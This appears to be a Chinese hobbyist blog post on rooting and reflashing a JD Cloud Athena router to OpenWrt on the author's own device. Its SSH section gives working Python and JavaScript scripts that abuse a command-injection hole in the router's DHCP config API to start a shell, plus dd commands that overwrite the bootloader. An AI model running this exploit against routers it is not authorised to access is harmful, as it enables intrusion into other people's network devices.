WIFI7都发布了,是时候升级到WIFI6了。

前几个月矿难,某类路由器的价格一路狂跌。正好家里最近新增了个NAS,mt7621也性能瓶颈了,该换了。听朋友推荐,入手了这款京东云雅典娜。

设备说明

刷机

到手第一件事,肯定是把京东的破系统扬了,毕竟我又不拿来跑pcdn。

看了下网上的教程,都是拆机走9008刷机的。

设备到手,一看,好家伙,2022.10的老库存了,估计是老版rom,说不定不需要拆机。

ROM版本: JDC02-1.5.50.r2204

查了下,果然有漏洞,通过固件的ubus总线更改配置可以开启ssh。

开启SSH

漏洞原理就不分析了,看了下b站的教程,写得也忒晦涩了。

简单说下原理吧,具体的可以直接用我的脚本一把嗦

/usr/sbin/dropbear 是这个路由器负责启动SSH服务的进程,需要开启SSH服务启动一下这个就行了。

现在我们只需要一个命令注入,能执行命令启动dropbear,正好ipv6的DHCP服务有个漏洞,可以执行命令。

利用流程:

  1. 篡改/etc/config/dhcp,更新odhcpd配置,设置leasetrigger为我们要启动的dropbear
  2. 提交配置生效
  3. 开启ipv6的NAT6服务,触发命令执行,启动SSH

脚本(python版本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests

url = "http://192.168.68.1/jdcapi"
sessionid = "" # 浏览器登陆后,从cookie里拿sessionsid的值

# 查看dhcp配置
def get_dhcp_config():
r = requests.post(url, json={
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
sessionid,
"uci",
"get",
{
"config":"dhcp",
"section":"odhcpd"
}
]
})
print(r.json())

def set_dhcp_config():
r = requests.post(url, json={
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
sessionid,
"uci",
"set",
{
"config": "dhcp",
"type":"odhcpd",
"section": "odhcpd",
"values":{
"leasetrigger":"/usr/sbin/dropbear"
}
}
]
})
print(r.json())

r = requests.post(url, json={
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
sessionid,
"uci",
"commit",
{
"config": "dhcp"
}
]
})
print(r.json())

if __name__ == "__main__":
set_dhcp_config()

浏览器F12,获取下cookie,填写到相应位置,执行上面的脚本。

好多人都不会python,还是改成JS吧。

连夜找deepseek写的。

// 从Cookie提取sessionid(需要先登录)<br>const sessionid = document.cookie<br>  .split('; ')<br>  .find(row => row.startsWith('sessionid='))<br>  ?.split('=')[1] || '';<br><br>const apiUrl = '/jdcapi';<br><br>// 设置配置(直接执行)<br>async function setDhcp() {<br>  try {<br>    // 第一步:设置参数<br>    const setRes = await fetch(apiUrl, {<br>      method: 'POST',<br>      headers: { 'Content-Type': 'application/json' },<br>      body: JSON.stringify({<br>        "jsonrpc": "2.0",<br>        "id": 1,<br>        "method": "call",<br>        "params": [<br>          sessionid,<br>          "uci",<br>          "set",<br>          {<br>            "config": "dhcp",<br>            "type": "odhcpd",<br>            "section": "odhcpd",<br>            "values": { "leasetrigger": "/usr/sbin/dropbear" }<br>          }<br>        ]<br>      })<br>    });<br>    console.log('设置结果:', await setRes.json());<br><br>    // 第二步:提交配置<br>    const commitRes = await fetch(apiUrl, {<br>      method: 'POST',<br>      headers: { 'Content-Type': 'application/json' },<br>      body: JSON.stringify({<br>        "jsonrpc": "2.0",<br>        "id": 1,<br>        "method": "call",<br>        "params": [<br>          sessionid,<br>          "uci",<br>          "commit",<br>          { "config": "dhcp" }<br>        ]<br>      })<br>    });<br>    console.log('提交结果:', await commitRes.json());<br>    <br>  } catch (e) {<br>    console.error('操作失败:', e);<br>  }<br>}<br><br>setDhcp()

浏览器F12,控制台执行上面的代码就行了。

执行完脚本后,浏览器进路由器后台,路由设置-上网设置-IPV6网络设置,打开,切换上网方式为NAT6,保存即可触发。

轻松拿下shell。

刷入uboot

uboot:uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin

先刷入uboot,直接scp上传到路由器上

然后开刷

1
2
3
4
# 刷入 u-boot,此步骤需要谨慎,刷错可能导致路由器无法启动,需要确保文件存在且完整
# 如果文件不完整这一步可能会导致路由器无法启动,所以一定要确认文件大小和完整性
dd if=/root/uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin of=$(blkid -t PARTLABEL=0:APPSBL -o device) conv=fsync
dd if=/root/uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin of=$(blkid -t PARTLABEL=0:APPSBL_1 -o device) conv=fsync

刷入 u-boot 成功之后,可以按照下面的步骤进入 u-boot 界面,刷入 OpenWrt 固件。

  • 拔掉电源下电
  • 找个牙签怼住reset按键,上电。可以看到路由器启动从红灯闪烁变成持续蓝灯,等待出现稳定不变的蓝灯后,松开reset案件。
  • 插网线,配置静态IP
    • IP:192.168.1.2
    • 网关:192.168.1.1
    • 子网掩码:255.255.255.0
  • 访问 http://192.168.1.1/

刷GPT分区表

访问 http://192.168.1.1/img.html

刷入GPT分区:gpt-JDC_AX6600_Athena_dual-boot_rootfs2048M_no-last-partition.bin

刷完以后等两分钟,路由器会长亮红灯。直接下电,按reset进uboot就行。

刷ROM

uboot首页( http://192.168.1.1/ ),直接刷入线刷包即可。

ROM包右转github/恩山。

2.5G网口切换

雅典娜提供了一个2.5G网口,默认分给wan口,显然wan口用不上这么大的,改到lan口给nas用才是正道。

先修改lan口的设置,在物理设置里,取消勾选eth0,把eth4(2.5G网口)勾选上

再进wan口和wan6口的设置,更改物理接口到eth0

保存应用后,路由器最右边的接口就变成wan口了,2.5G口直接给nas就ok了。

分区格式化和挂载

由于我们刷的GPT分区是不带最后一个分区的,需要自己分区、格式化硬盘、挂载。

ssh到路由器上,执行cfdisk /dev/mmcblk0

直接NEW

大小默认就可以

选择Wrtie进行写入分区表操作

然后回到路由器管理后台页面

格式化硬盘

选择ext4格式,空间有点大,需要等几分钟。

格式完创建挂载点即可,这里我使用docker,就挂载到了/opt。也可以参考其他教程,直接挂载到/overlay。

完结撒花

处理器性能非常够,内存1G跑路由绰绰有余,有需要搭一点小服务也足够用了。

还能看时间,完美~

作者 root

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注